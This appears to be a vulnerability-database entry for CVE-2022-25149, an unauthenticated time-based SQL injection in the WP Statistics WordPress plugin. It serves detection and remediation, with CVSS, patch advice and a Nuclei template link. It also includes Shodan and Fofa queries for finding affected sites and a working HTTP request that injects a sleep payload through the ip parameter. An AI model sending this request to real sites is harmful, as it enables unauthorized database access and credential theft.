🔙 목록으로 돌아가기

CVE-2022-25149: WordPress Plugin WP Statistics <= 13.1.5 - SQL Injection

TitleWordPress Plugin WP Statistics <= 13.1.5 - SQL Injection
Authortheamanrawat
SeverityHigh
ImpactUnauthenticated attackers can execute time-based blind SQL injection through the IP parameter to extract sensitive database information including user credentials, posts, comments, and WordPress configuration data.
RemediationUpdate WP Statistics plugin to version 13.1.6 or later that properly escapes and parameterizes the IP parameter.
CVSS Score7.5
EPSS Score0.73381
CVE IDCVE-2022-25149
CWE IDCWE-89
Shodan Queryhttp.html:/wp-content/plugins/wp-statistics/
Fofa Querybody=/wp-content/plugins/wp-statistics/
Tags time-based-sqli cve2022 cve sqli wpscan wordpress wp-plugin wp wp-statistics veronalabs vuln

🔍 Vulnerability Description

The WP Statistics WordPress plugin is vulnerable to SQL Injection due to insufficient escaping and parameterization of the IP parameter found in the ~/includes/class-wp-statistics-hits.php file which allows attackers without authentication to inject arbitrary SQL queries to obtain sensitive information, in versions up to and including 13.1.5.

🌐 HTTP Request

GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Knoppix; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip

GET /wp-json/wp-statistics/v2/hit?_=11&_wpnonce=7Afovw&wp_statistics_hit_rest&browser&platform&version&referred&ip='-sleep(6)-'&exclusion_match=no&exclusion_reason&ua=Something&track_all=1&timestamp=11&current_page_type=home&current_page_id=0&search_query&page_uri=/&user_id=0 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; es-es) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13
Connection: close
Accept-Encoding: gzip

📚 References

🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-25149.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-25149.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A